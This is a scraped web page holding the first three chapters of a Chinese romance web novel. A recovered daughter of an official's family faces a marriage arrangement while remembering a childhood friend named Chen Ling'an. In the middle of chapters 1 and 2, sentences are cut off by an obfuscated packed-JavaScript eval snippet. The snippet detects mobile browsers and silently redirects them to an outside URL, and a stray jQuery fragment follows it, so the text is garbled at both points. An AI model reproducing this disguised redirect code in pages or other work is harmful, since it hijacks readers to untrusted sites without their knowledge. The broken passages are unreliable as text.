《我竹马才不是大奸贼》 1. 第 1 章 雨后初晴,张家正院郁郁葱葱一片苍翠,地上浅浅的积水映着初夏与暮春交替的阳光,流金一样熠熠生辉。 东次间的桌上摆满了衣料样子。 夫人蒋氏慢慢挑拣了一阵,吩咐道:“天青色淡雅,正适合夏天穿,鹅黄娇俏,倒正和三丫头的性子。这匹缕金凤穿牡丹大红妆花缎做马面裙最好,上面再配豆绿的大袖衫,显得矜贵又稳重。一样两匹,都给三丫头送去。” 内管事方妈妈迟疑了下,没有立刻行事。 太太口中的三丫头,名唤小满,两岁时丢了,找了多少年都没找到,她生母也因此郁郁而终。 本来都不抱希望了,没想到年前一个回乡荣养的老嬷嬷途径宣化,凭着肩头的胎记,竟是认出了流落乡野的三姑娘。 听说找到三姑娘时,那雪下得纷纷扬扬的,风扑在人脸上就像刀子割,可她还在山上捡柴,手上都是冻疮。 就是她们这些伺候主子的丫鬟们,都没受过这样的罪。 难怪太太怜惜她。 可未免怜惜太过了。 这些上用的丝绸,统共十种花色二十匹料子,张家一位公子四位姑娘,唯三姑娘独占四色八匹,其中还有两匹时下最流行的妆花缎。 若是四姑娘知道妆花缎全给了三姑娘,肯定会发脾气。 四姑娘是姚姨娘所出,母女俩都是老爷的心尖尖,真闹将起来,倒让太太落个偏心善妒的错处。 方妈妈委婉提醒了一句。 蒋夫人笑笑,不甚在意,“小满刚回来,有什么好东西自然先紧着她。这孩子命苦,亲娘没了,老爷对她又是平平,府里的人又一向跟红顶白,我这个做母亲的再不上心,她在府里可如何立足?” 方妈妈心头一动,听太太话里话外的意思,是不是想把三姑娘记到自己名下? 太太嫁到刘家二十年,先后两个孩子都没保住,自己也落下毛病无法再生育,终日懒懒的,对一切都提不起兴趣。三姑娘活泼开朗,见面不笑不说话,自打她回来,死气沉沉的正院也开始活泛了。 若真能一解太太的忧思寂寥,偏疼些也没什么。 方妈妈不再劝说,带着几个小丫鬟把衣料子给三姑娘送去。 刚出院门便见老爷迎面走来,方妈妈忙屈膝施礼。 张文身材修长瘦削,相貌英俊儒雅,即便人已中年,仍可见当年美男子风采。 他目光扫过丫鬟们抱着的衣料子,“给谁的?” 账目上记得清清楚楚,方妈妈只能据实回话,“回老爷,给三姑娘的。” 张文什么也没说,径直去了正房。 还未到下值时刻,蒋夫人见他回来有些诧异,“今儿这么早就回来了。” “衙门无事,左右都是闲坐,不如回家来。”张文翻了翻桌上剩下的衣料样子,回身坐下,“初九平阳侯府的四时宴,你是如何安排的?” 四时宴是后宅女眷间的聚会,张文素不过问。 蒋夫人眉头暗挑,不紧不慢说:“三丫头随我赴宴,已给侯府回信了。” 张文又问:“听说刘家大公子刘瑾书也去,他头一次在这种宴会上露面,恐怕……是相看来的吧?” 既然问出口,就说明他已经知道了,没必要再隐瞒。 蒋夫人道:“对,我妹妹帮忙牵线,这是给小满说的亲事,所以此次我只带她去。” 言下之意非常明确。 张文却说不妥,“刘家书香世家、满门清贵,而小满长于乡野,只粗粗认得几个字,担不起高门主母的担子。即便刘家相看小满,也是碍于你妹妹的面子。此事不见得能成,反惹得别人笑话小满痴心妄想,不自量力。” 这倒是实话,蒋夫人的妹妹嫁到平阳侯府秦家,而刘家夫人秦氏,正是小蒋氏的大姑姐,要不是小蒋氏一力作保,秦夫人不见得会应下此事。 那刘瑾书少时成名,一直是京城热门的佳婿人选,多少人家都眼巴巴盯着他。一旦黄了,难免有眼热之人暗地里奚落小满。 蒋夫人的眉头微微拧起,“那依老爷看,此事就此作罢?” 张文端起茶杯浅饮一口,慢慢道:“刘瑾书前途无量,而且他父亲即将入阁,此门亲事能成的话,于张家十分有利。” “君懿才貌性情样样出挑,在京中颇具美名,若是她,便可十拿九稳了。至于小满,我另有安排。” 君懿是四姑娘的闺名。 蒋夫人一听就笑了,“难怪今日早早回家,原来是为了换亲,老爷为四丫头真是煞费苦心了。” 她话中不乏讥诮之意,张文脸上闪过一抹不自在,“亲事未成,何来换亲之说?结亲是结两姓之好,自然要选品貌才学相当之人,推个不般配的去相亲,不是结亲,倒是结仇了。” 左一个不成,右一个不般配,蒋夫人再好的涵养也忍不了了。 “孩子刚回家的时候,你说要好好补偿她,却是处处挑刺,一味贬低。四丫头是你女儿,小满就不是?有你这样当爹的吗?” “就因为她不是府里长大的姑娘,和咱们差不多的人家,连相看都不愿意相看。上赶着来求娶的,又多是趋权附势之徒,小满在外头吃了十来年的苦,我们不能把她再往火坑里推。” “眼瞅着都十七了,亲事不能再拖,好不容易刘家愿意相看小满,你却让四丫头顶了她,简直是一巴掌扇在小满脸上!你让阖府上下如何看她,她今后又该如何自处?偏心也没这个偏法!” 噼里啪啦一阵数落,砸得张文有点下不来台。 他出身寒门,晋升之路算不得顺畅,在给事中的位子上蹉跎多年,幸而在当今和废帝之争中站队站对了,得了个光禄寺少卿,此后却卡在五品官怎么也升不上去。 好容易捡个机巧,作为各方势力妥协的结果当上了吏部尚书,听着大权在握,却是有名无实,完全被内阁和两个侍郎架空了。 别说进入权力中心,随时被人代替都有可能。 他迫切需要有人提携一把。 而刘家百年世家,在应天府的势力根深蒂固,又与当朝次辅陈绍关系匪浅,如果和刘家成为姻亲,他不但能坐稳尚书的位子,说不定还能入阁。 这个蒋氏,不说帮忙,还一个劲添乱,动不动就挑他毛病,训孙子一样训他。 他才是一家之主! 越想越来气,张文怒目而视,“分明是你处事不公,却说我偏心。你不喜姚氏母女,拿小满当由头打压君懿,只凭个人喜好做事,全然不顾张家的前途利益。善妒、无子、口舌,想想你犯了多少条吧!” 说罢拂袖而去。 蒋夫人双手攥得发白,连着深吸几口气,好歹支撑着没有失态。 她偏要促成这桩亲事,偏不让他们如意! ***** 张文喜静,因而府中一向讲究静谧平和,各处院子也往往阒然无声,鲜少有人喧哗玩闹。 除了三姑娘的清棠苑。 隔着院墙就听见里面一片欢声笑语, 方妈妈嘴角也跟着翘了起来。 张家人原本以为,穷乡僻壤长大的三姑娘,必定畏畏缩缩一股子卑怯样儿,然而三姑娘偏偏不一样! 脾气随和爱说爱笑,别人奉承也好,挖苦也好,她笑笑便过,丝毫不往心里去,颇有点“超然物外”的意思。 即便亲事不顺,也没影响到她的情绪,依旧开开心心的。 果然,推门便见三姑娘在踢毽子,旁边围着几个丫鬟拍手叫好。 养了三个多月,身量高了一些,脸也比刚回府的时候红润了点,昔日劳作留下的粗糙痕迹却还没有消退。 轮廓柔和的鹅蛋脸,眼睛大而亮,笑起来嘴角有两个小小的梨涡,纵然肌肤不够细腻莹润,这份甜美明媚也足以填补了。 许是经常跑跑跳跳的缘故,长手长腿的,看起来颇为矫健,十分有活力的样子。 就像广袤田野里蓬勃生长的杨树。 在庄户人家自然是好的,可在大户人家看来,就显得不够娴雅稳重了。 也不知三姑娘的造化在哪里,方妈妈暗暗感慨了声。 “方妈妈!”张小满瞅见她,欢快地跑过来,“呀,这是给我的?” 方妈妈笑道:“太太特地给姑娘挑的,明儿个云裳坊的人来给姑娘量衣裳,姑娘喜欢什么样式只管和她们说。” “母亲真疼我!”张小满抬手抹了把汗,擦完才发现丫鬟递过来的棉巾子,赧然一笑,请方妈妈进屋喝茶,“有劳妈妈跑一趟,刚得了点雨前茶,都说这茶好,妈妈尝尝。” 方妈妈推辞了:方才老爷已然注意到这几匹料子,太太脾气硬不会说软话,万一吵起来可不妙,她得赶紧回去看看。 张小满命人把茶叶包好拿给方妈妈,“我不懂品茶,好茶给我也是可惜,妈妈千万拿着。自打我回来,受了妈妈多少照顾,好歹是我一片心意。” 方妈妈笑着道谢,接过茶叶退了出去。 八匹丝绸摆在屋里,午后的阳光透过窗子铺陈在上边,愈发显得华光灿烂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901240|176642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五色缤纷。 小丫鬟锦绣上前凑趣道:“瞧这云锦,彩霞似的,穿在身上不知多好看,等到了四时宴,姑娘必定是最抢眼的那个。” 张小满哈哈一乐,“只怕是最招人议论的那个才对。” “不遭人嫉是庸才,随别人说去。”锦绣忽面色一肃,低声叮嘱道,“姑娘要小心四姑娘,上次周家亲事不成,保不齐就是她和她姨娘捣鬼。现在姑娘有更好的亲事,更要提防着她们。” 这是另一桩官司了。 周家是上一个有意相看她的,结果临到见面,却说以为冰人提的是四姑娘,搞错了,对不住,不来了。 嫡母气得够呛,不但与周家断了来往,也迁怒上了姚氏母女。 锦绣是嫡母院子里出来的,会这样想当然不可避免。 张小满却没顺着她的话说四妹妹的不是,“周公子只是监生,四妹妹眼界高,看不上他的,肯定不愿意和他有牵扯。” “周家一开始就瞧不上我,不过看中了父亲吏部尚书的门第,才勉为其难答应相看,大概后来又有了更好的选择,才拿四妹妹作幌子回绝了。” 话音甫落,就听门口传来一声娇喝,“你还算有脑子。” 门帘一挑,露出张君懿娇美的脸。 背地里说人长短被抓个正着,锦绣窘得满脸通红,一面暗恨外面的人不知道通禀,一面讪讪退了下去。 “四妹妹坐。”张小满笑着岔开话题,“我刚做好几个毽子,正想找你玩呢,可巧你就来了。” 张君懿心里装着事,也没心情与小丫鬟计较,扫一眼桌上的衣料子,轻轻哼了声,递过来一个锦缎匣子,“刚得的蝴蝶钗,喏,送你,咱俩扯平了。” “扯平?”张小满眼神微闪,笑嘻嘻问,“你做了什么对不起我的事,快快从实招来。” 张君懿一怔,随即脸腾地涨得通红,伸手就去夺那匣子,“爱要不要,不要还我!” “哪有送出去的东西又要回来的?”张小满抱着匣子边躲边笑,“一句玩笑话,可就恼了,好妹妹,我说错了还不成?” 张君懿又推了她一把,方住了手。 张小满打开匣子,不由惊呼一声。 砖红色素戎内衬上,静静躺着一根金钗,钗头用头发丝粗细的金丝编织出蝴蝶的样式,翅膀用绮丽夺目的翠色镶嵌,加以珍珠红宝装饰。 拿在手中,翅膀微颤,光线变幻,翠色亦光波流转,那蝴蝶瞬间灵动异常,仿佛活了一般,就要在手上飞起来。 “这……太贵重了吧?”张小满犹豫着要不要收下。 “金点翠嵌珠宝,当然贵重,太太那里都不见得有成色更好的点翠钗。”张君懿很是自得,想了想又说,“于我倒是普通,给你戴着玩吧。” 似是不愿再继续这个话题,张君懿起身走到书桌旁,看着研好的磨和信纸,“你要写信?” 张小满叹了声,“想问问宣府老家的情况,可惜写了也寄不出去。” 父亲母亲都不喜她和收养她的人家来往,自打来了京城,她一封信也没送出去过。 张君懿说:“遇到我算你运气好,我的奶哥哥明天北上收租,不过多绕段路的事,我吩咐他一声也就是了。” 张小满眼睛一亮,“那可太感谢你啦!” “不过我得知道你信上写的是什么。”张君懿站在书案旁,俨然一副要盯着她写的模样,“别瞎显摆请一帮穷亲戚来京城,让我们全家都跟着丢人。” 张小满微微怔楞了下,失笑道:“哪儿能呢,我就是……就是想打听邻家哥哥回来没有。” “都要和刘公子相亲了,还惦记别的男人。”张君懿低声咕哝一句。 张小满耳朵好使,立时听见了,却没说话。 嫡母前晌才告诉她相看的事,还是避着人说的,除了贴身丫鬟锦绣,这院子里再没人知道。锦绣一直和她在一起,不可能透露出去。 四妹妹消息如此灵通,看来姚姨娘的手,已经伸到正院去了。 张小满垂下眼眸,提起笔。 一时屋里静了下来,只有笔尖与信纸摩擦的沙沙声。 看着纸上的字,张君懿不由惊讶了,和想象的不一样,小满的字娟秀柔韧,竟隐隐透出几分大家风范。 刚想问问她是不是上过学,却见纸上出现“陈令安”三个字。 张君懿脑子嗡的炸响,失声叫道:“你要打听的人是他?” 笔尖顿住,张小满满怀希望地看过来,“你认识陈令安?” 2. 第 2 章 张君懿的确知道有个男人叫陈令安,却是提也不敢提他的名字。 当今一手提拔的锦衣卫新贵,嚣张跋扈,手段酷烈,打着清算废帝旧党的名头,短短两年间制造数起大案。朝廷百官简直是谈陈色变,甚至有人听到他要问话,惊惧之下竟然自尽了。 张小满的竹马,怎么和他一个名字? 莫非…… 不对,陈令安潜邸侍卫出身,一直在辽东,从没听说去过宣府。 重名而已,巧合罢了。 明知不可能,却是越想越害怕,越害怕越想,似乎下一秒,那个恶煞就会破门而入。 张君懿打了个寒颤,急急摇头,“不认识,不知道。” 张小满不信,“那你刚才……” “你还写不写了?”张君懿突兀地打断她的话,“不写我可走了。” 张小满不再追问,抱着死马当活马医的心态,刷刷几笔写完信,又从柜子底翻出一小包碎银子,约莫五六两的样子,想一并送到宣府乡下。 张君懿瞥了眼,“还不够我打赏奶哥哥的,也值得你特意送过去?” 张小满低头笑了下。 嫡母赏的东西她不敢送人,偌大的张家,处处是人情世故,各个地方都要用钱,就这些,还是她好不容易攒下的。 “乡下和京城不一样,这些银子足够小半年的开销了。”她没有解释,只笑着把信和银子往张君懿怀里一放,“有劳妹妹啦。” 张君懿抬起下巴哼了声,刚要走,又站住了,犹犹豫豫问:“你那邻家哥哥……长什么样?” “他漂亮得像个女孩子,左额角有个小坑,长得……”小满双手比划了下,“长得很张扬。” 张君懿努力想象“张扬”的长相。 “性格却完全相反,内敛沉稳,和不熟的人说话会脸红,是个很温柔很和善的人。” 说着说着,张小满不由叹息一声,“九年不见,我也说不上他现在的模样。” 温柔、和善……和那个恶煞完全不同,张君懿吁口气,心放下大半,摆摆手,“走了。” “等等,”张小满叫住她,“你可见过刘瑾书?” “见过,如何?” “他是个怎样的人?” 张君懿先是探究似地盯视她一眼,方慢慢道:“出身南直隶名门望族,三岁启蒙,十六岁中举,十七岁点为探花,从翰林编修做起,不过短短五年,已是侍讲学士了。” “先帝曾亲口夸赞,聪慧貌美,可谓芝兰玉树。他是京城所有闺阁女子心中最完美的郎君。” 话音越来越温柔,眼中的眷恋几乎要掩饰不住了。 忽意识到自己的失态,张君懿猛地看过来,“你问这个干什么?” 张小满坦然道:“不瞒你说,我大概是要与他相亲的。” 张君懿的眼中掠过一丝复杂莫名的感情,黯然、艳羡、不甘,还有些许的愧疚,种种交织在一起,让张小满有点看不懂她了。 “四妹妹,你是不是喜欢他?”她忍不住问出了口。 张君懿大惊,想也没想一口否认,“没有的事!女儿家的名声比命重要,你少胡说败坏我的名声。” 男未婚女未嫁,喜欢一个人竟能牵扯到名声? 张小满很是不理解,想了想说:“我的意思是……如果你喜欢他,我就和母亲说说,看能不能换你去相亲。即便我去,九成九也成不了,反而堵死了你的路——张家姑娘不是大白菜,没有相看完姐姐,再去相看妹妹的道理。” 惊愕慢慢散去,猜疑渐渐浮现,张君懿犹豫极了。 清风拂过,檐铃丁丁轻响,三交六椀菱花窗棂上光影交错。 张小满耐心地等待着她的回答。 最终,张君懿还是摇了摇头。 “真的?”张小满又问。 “你烦不烦啊,说不喜欢就是不喜欢。”张君懿似是恼了,拿着银子和信扭头就走。 然而刚出院门,她的脸一下子就耷拉下来,等回到朝霞榭,人已被落寞笼罩住了。 独自发了半日呆,直到暮风把手边的书信吹落,才想起张小满托她的事还没办。 她直直盯着那封信,一咬牙,捡起来塞进多宝格最下面的小抽屉。 许是关抽屉的声响有点大,丫鬟诗晴进来看怎么回事,“姑娘?” “叫赵全把钱捎给宣府收养三姐姐的那个老婆子。”张君懿吩咐道,到底觉得那几块碎银子太少,“就这么送过去,没的丢我张家的脸。再拿二百两银子,都算三姐姐的,记住别让人知道。” “天底下再没有比姑娘更心善的人。”诗晴奉承道,目光却往多宝格转了转,随即拿银子退下去。 没多久,姚姨娘过来了。 孩子都已长大成人,她自然不能算作年轻,但岁月似乎格外眷顾她,成熟妩媚的面容,丰润又不失婀娜的身姿,让她看上去别有一番风韵,丝毫不输风华正茂的少女。 “你去找张小满了?”姚姨娘将一包银子放在桌上。 她说话又柔又软,含着笑意,明明是很温和的声音,张君懿却绷直了脊梁,眼中闪过一丝紧张。 “是。”连银子都被姨娘截住了,张君懿知道瞒不过去,慢慢站起身,把事情经过说了一遍,只隐去了与陈令安同名的竹马和那封信。 姚姨娘点点女儿的额头,“那点翠蝴蝶钗是银作局的手艺,专供内廷的娘娘们,外头有钱都买不来。你倒大方,转手就送人。” 张君懿沉默着垂下眼帘。 “大可不必感到愧疚。”姚姨娘抚着女儿的肩头柔声道:“我观察了这几年,满京城只有刘瑾书才配得上我儿,本打算秋闱后让你哥去探探他的口风,没想到太太抢了先。是她们抢了你的亲事,你才是受委屈的那个人。” 姚姨娘还生有一子,也是张尚书唯一的儿子,如今在南翠书院读书,算是刘瑾书的同门师弟,也能说得上话。 “太太如意算盘打得好,可张家,终究是老爷做主。” 听到这话,张君懿抬头看向姨娘,“太太答应了?” “怎么可能?太太吃软不吃硬,老爷又不是个能哄人的。”姚姨娘轻笑,“非但没松口,还大吵一架,看着吧,至少一个月,老爷都不会再踏入正院。” 张君懿着急了,“可是你说一定能让我出现在四时宴上。” “你总是沉不住气……”姚姨娘无奈一笑,几句耳语过后,张君懿愣了半晌,方犹豫着点点头。 “可惜呀,”姚姨娘低低叹道,“我不能看到太太那时的脸色了,想必一定很精彩。” ***** 西坠的太阳不甘心地燃烧着余晖,金色的光华被窗棂分割成一块一块的,投在地面上,逐渐变得暗淡。 桌上的衣料子已经收起来了,张小满一边拿着花样子在鞋面上比划,一边听锦绣说正院的事。 锦绣是方妈妈的外甥女,与正院各处人都熟,消息也最灵通。 “不知道吵了些什么,只隐约听见几声姑娘的名字,随后老爷就怒气冲冲走了……” 张小满放下手里的花样子,满脸的疑惑,“难道我哪里做的不对,又惹他老人家生气了?” 可她绞尽脑汁想了半天。也不知道自己到底哪里做错了,挥挥手“嗐”了声,“算了,反正他也不待见我。” 锦绣说:“姑娘还是把名字改了吧,不是奴婢多嘴,显得不是一家子似的。” 张小满笑着摇摇头。 张家这辈的姑娘从“懿”字,她刚回来时,老爷给她另取了名字,可她不愿意改,惹得老爷生了好大一场气,自此就对她日益冷淡。 老爷还与嫡母抱怨,认为她还念着宣府那边的人,心没在张家。 其实她是满心欢喜回张家的,哪个被拐的孩子不想找到亲生父母呢,谁不渴望回家、向往亲情呢? 可老爷第一次见她那眼神,那打量的目光,就像掂量她能卖多少银子! 真真无趣。 小满自嘲似地笑了声。 锦绣也跟着叹气,眉梢嘴角也耷拉下来。 张小满失笑,伸出左右两根食指,轻轻压在锦绣嘴角往上一提,“别担心,事情总会好起来的,喏,笑一笑。” “姑娘!”锦绣被她搞得哭笑不得,“你倒是心大。” 心情却不似方才那样低落了。 锦绣忍不住又提醒一句,“姑娘还是小心点四姑娘,千万别戴她送的簪子,我看她是黄鼠狼给鸡拜年——没安好心!” 小满一下被逗乐了,“她肯定有私心,害我倒不至于。” 锦绣:“姑娘忘了背后还有姚姨娘,那可不是个善茬。” 无论如何,好在还有太太护着姑娘。锦绣轻轻吁口气,自去厨房看姑娘的饭食如何了。 屋里安静下来,张小满打开八宝攒盒,拈起一颗盐津梅子放入口中。 梅子的味道弥漫开来,和记忆中的味道有七八分相似。 八岁那年,从人贩子手中救下她的养父母意外去世了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901241|176642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 亲戚们为了养父母的五十亩地吵翻了天,一个个乌眼鸡似的,独独没人愿意收留她这个毫无血缘的孤女。 她受不了亲戚们的推诿谩骂,悄悄躲了出去。 天空下着小雨,水气烟雾搅成一团,迷蒙了她的视线。 有人从那片混沌中慢悠悠走近。 十一二岁的年纪,一身素白的衣裳,身材有些瘦削,微微皱着眉头,眼中是不属于这个年纪的忧思和愤然。 他没有撑伞,额头垂下几缕发丝,末梢挂着透明的雨滴。 “无处可去?”不等她回答,他又说,“我也是。” 她哑着嗓子问他是谁,“从来没见过你,来找林亭先生读书吗?” 林亭先生是位老秀才,得空时会教村里的孩子们读书,因为不收束脩,也有别村的人过来求学。 “陈令安。”他声音很低,需要仔细听才听得见。 等了一会儿,没等到他别的话,她磕磕巴巴开口:“我叫小满。”停了停,不见他应声,就没话找话似地说,“遇见我那天,正好是小满节气,我娘就给我起名小满。” 提起娘,小满的声音开始哽咽,控制不住哭了起来,越哭越大声,根本止不住。 屋里的亲戚们听得心烦,冲出来骂她,“克父克母”、“扫把星”、“小贱人”…… 有不认识的人抓住她,嚷嚷着去人市把她卖了! 小满才不干,拼尽全力反抗。可她才八岁,怎敌得过身强力壮的大人? 寒光闪过,陈令安的刀架在那人的脖子上。 他的眸子比刀锋更冷。 那人退却了。 隔房的大伯质问他是谁,凭什么管别人家的事,不知哪里来的婶娘骂她不检点,爹娘还没下葬就和外人搅和在一起。 也有人从中劝和的,七嘴八舌,乱乱哄哄一片。 陈令安向她伸出手。 “抓紧我,别松手!” 温热一点点从手上传递过来,驱散了笼罩在身边寒冷冰凉的湿气,小满突然没那么害怕了。 不知过了多久,周围终于恢复了平静。 陈令安递给她一颗盐津梅子,“别担心,事情总会好起来的。” 酸酸甜甜的,带着点咸味,还有微微的辣。 或许是那颗盐津梅子带来的好运,村头的老阿婆收养了她,日子虽清贫,却再不用担心被卖。 陈令安也留在林亭先生的书馆读书,两家隔一道篱笆矮墙,只要一抬头,就能看到窗边他读书的侧影。 浓绿欲滴,知了长鸣,夏阳的碎片在纸上摇曳,少年认真写着字,偶尔抬眸一笑,回应下她的期盼。 他们目光交错,不说话,就十分的美好。 秋风染红了枫叶,陈令安要离开了,一向懂事的她头回使起了性子,拉着他的袖子不肯松手。 陈令安缓慢而坚定地抽回自己的袖子,“等来年小满时节,我回来找你。”说着,手指压住她的嘴角轻轻向上一推,“别哭,等我们再见面的时候,我想要你笑着奔向我。” 她用力点头,后来无论遇到什么难事,她再也没有哭过。 然而一个又一个的小满节气匆匆而来,又姗姗离去,总是不见他的身影。 陈令安逐渐从人们的口中消失了,仿佛从没来过一样。 暖风柔和,窗棂轻颤,树叶沙沙的响,几只喜鹊翩翩起落,茅屋草舍变成了亭台楼榭,恍惚一场梦。 比起让嫡母焦急的亲事,她更惦记的是陈令安。 刚回来的时候,她试着请父亲帮忙寻人,可还没说出陈令安的名字,就被父亲不耐烦地打断,厉声告诫她不准再提宣府的过往。 一开始她不明白,后来慢慢懂了。 在父亲眼里,十五年的乡野时光不但是她的污点,也是张家这等高门贵族难以接受的瑕疵。 她最好彻底割裂掉这段过去才好。 可是不说,就代表不存在吗? 张小满走到书案前,提笔写道:你还好吗?我要去相亲了,大抵不成的,可这个不成,还有下一个,早晚会嫁给一个父母都满意的男人。 带着暖意的暮风缓缓拂过,将墨迹一点点吹干。 她拉开黑漆雕花立柜的小抽屉,把这张纸放进一个小红匣子里。 里面满满当当都是寄不出去的信。 日头落下又升起,不管地上的人们各自心思如何,时光总是一刻不停向前疾驰的。 很快,四月初九到了。 3. 第 3 章 宴席是京城各家交往中必不可少的场景。 认识的不认识的、亲近的疏远的齐聚一堂,看着热闹和煦,其实暗流涌动,不动声色传递着京城的新鲜事,言笑晏晏间,不知谁家谁人已沦为席间的谈资。 今日占据舌根的是刘瑾书。 刘瑾书自中举就被各家惦记上了,奈何人家一心只读圣贤书,根本无心婚配。与他同龄的都当爹抱俩抱仨了,他还慢悠悠的不着急。 “他不急,急坏了他娘,这不,到底相看来了。”说话的是周夫人,满头珠翠,穿着入时,却怎么也遮挡不住眉目间的小家薄相。 她往前面林荫掩映处抬抬下巴,眼中不乏艳羡。 席间一静,数道灼灼的视线看过来。 那是平阳侯府景色最美、最幽静的一处水榭,隔着郁郁葱葱的柳林,只能看到水榭飞翘的檐角。 “看的是哪家姑娘?”有人关切问道。 “张家刚找回来的那位行三的姑娘。”答话的人看向周夫人,“我记得你先前还想与张家做亲来着,好像就是她吧。” 周夫人撇撇嘴,“原以为都是张家的姑娘,差也差不到哪里去,没想到……唉,我们也是被人骗了。” 连周家这样的门户都瞧不上她,更别说刘家了。 草鸡怎能变凤凰,一个粗鄙村姑,若能压得过满城名门闺秀,那才骇人听闻呢! 席间气氛旋即活跃,高高低低的笑声浪花一样荡开,当碰触到林荫下的一行人以后,浪花迸碎成泡沫,然后消失在灿灿的阳光中了。 林荫处,婢女引着蒋夫人走向水榭。 蒋夫人身旁是一个个子高挑的小姑娘,穿着月白底儿绣红牡丹对襟长褙子,雨过天青百褶裙,素雅中带着娇俏,走路生气勃勃的样子,一下子就引起所有人的注意。 许是感受到众人的目光,小姑娘扭头望过来。 鹅蛋脸杏仁眼,鼻梁高挺,嘴唇红润,透着恬静俏丽,眉宇间又带着几分爽利。容貌不俗,但在美女如云的京城闺秀中,还算不得拔尖。 就在这时,小姑娘笑了一下。 那笑容又真挚又明亮,就像和煦春风拂过灰败寂寥的枝头,瞬间千树万树桃花开,瞧得人心里暖洋洋的,忍不住也跟着笑了。 “那是……张家三姑娘?” 和传闻中土里土气没见识的乡下妹不一样,莫非有人故意诋毁人家? 灼灼目光纷纷落在周夫人身上,烧得她脸皮着了火,沉默也不是,分辩也不是,只恨张小满生得这样好,也没一点畏畏缩缩的姿态,竟让她当众丢了面子! 她又恼又酸,“为了刘公子,可是下苦功夫了。” 一句话,引得众人看张小满的眼神又变得复杂,不知谁发出一声似有似无的叹息,倒是委婉地表达了这些贵妇贵女们的心情。 暖风飒然而过,闲言碎语还未飘至小满耳旁,就被风吹散了。 虽说对这次相亲不抱期待,可此时她代表着张家姑娘,也关系着嫡母的脸面,说不紧张是假的。 她轻轻吁出口气,随嫡母走上栈桥。 丫鬟通禀的声音刚落,平阳侯世子夫人小蒋氏已经迎出来了。 “姨母。”张小满屈膝问好。 小蒋氏细细打量一阵,冲蒋夫人点头笑道:“在你身边养了这许多日,果然进益不少,瞧着像个大家闺秀了。” 蒋夫人斜睨她一眼,“什么叫‘像’?我们小满本来就是。” 她语气有点呛人,可姐妹二人自小玩闹惯了,小蒋氏丝毫不以为意,“是是是,是我说话不妥当。” 又压低声音道:“咱们快进去吧,我大姑姐一大早就到了,问了你们好几次。” 蒋夫人一听,急忙拉着张小满趋步入内。 张小满心里有点不是滋味。 平阳侯府是秦夫人的娘家,她早早地来,真不一定是在等她们。况且她们在门口说话,秦夫人准能听见,却依旧在屋里坐着不动。 两家门第并没有多大的差距,秦夫人这般作态,多少有点傲慢了。 她能想到这层,嫡母肯定也能,只是为着她的亲事,才放低了身段。 嫡母在和秦夫人打招呼,几句热情的寒暄过后,提到了她的名字。 张小满深吸口气,抬眸向座上之人望去。 瘦削脸,面色发白,颧骨有点高,表情沉静,隐隐透出威严,投过来的目光有审视的意味,并不让人十分难受,却也不大舒服。 张小满规规矩矩蹲了个万福。 自打回京,就有教引嬷嬷教她礼仪,乍一看很能唬人了。 秦夫人浅浅笑了笑,却是向门口瞥了一眼,方开口说话,“坐吧,可怜见的,在外面吃了不少苦头吧,难为你能全须全尾回来。” 张小满笑道:“和京城的生活当然一个天一个地,说实话,来京城之前,我都想象不到还有人世间还有这样的生活。早饭光是粥就有四五样,加上各色菜肴、点心、饽饽,一张八仙桌都摆不下。在乡下,就是过年也吃不了这么好的。” 她看看自己身上的衣服,又看着自己的手,颇为感慨,“我刚回张家的时候,第一次见绫罗绸缎,特别的稀罕,就摸了摸,结果手上的老茧立刻把衣服划花了。后来知道那件衣服够买十亩地,心疼得我几宿都睡不着觉。” 说话时,她有点窘然,却没有任何的自卑,就好像和亲密之人说笑自己的糗事一样。 屋里的三位太太也都笑起来,窗外柳林也簌簌摆动着枝叶,将林中一两声轻笑掩饰过去。 张小满又说:“说乡下苦,也没多苦,有衣穿,有饭吃,比起吃不饱肚皮的人,我还是蛮幸运的。” 倒是个心胸豁达,不一味怨天尤人的姑娘。 秦夫人的表情柔和几分,嘴巴却依旧不算客气,“宣府偏僻苦寒,强寻乐处,亦有可喜。” 张小满好像没听出她话里的不以为然,兀自笑嘻嘻道:“那个地方的确穷,庄稼人没多少玩乐的功夫,大部分时间都在为生计忙活。” “太阳还没起早,一天就开始了。先是一阵吱吱嘎嘎的开门声,空气里渐渐弥漫烧柴火的烟味,淡淡的,混着热粥的香气,很好闻。” “没多久,一个接一个的小后生跑出门,他们肩上背着书袋,笑闹着,朝私塾的方向跑得飞快。” “随后,赶早的人们挑着菜担子出现在村口的小桥上,多数是母亲带着闺女,篮子里装着时令鲜蔬,香葱、韭黄、蒜苗、芹菜、萝卜……水灵灵的,都是又胖又嫩的‘尖儿’,准能在镇上卖个好价钱。” 她脸上漾出一种对往事特有的怀念和惆怅,“阿婆起早贪黑伺候菜地,我天不亮就挑到集市上去卖,攒了一年的钱,过年扯了块红布做新衣裳,可把我美坏了,睡觉都不肯脱。” 如今新衣裳再多、再名贵,可再也没有那时的感觉了。 和风带着潮湿的水气,将竹林作弄的萧萧飒飒。 隐在竹林后的年轻男子,听得有些入神。 秦夫人不动声色瞥了一眼窗外竹林,这样的成长环境,显然不匹配书香门第的刘家。 但该有的过场还得走,便又问她平日里都做些什么,有没有进学。 蒋夫人给她使眼色。 张小满明白嫡母的意思,想给秦夫人留个好印象,她就得往琴棋书画上靠。 可她只有一笔字还算将就。 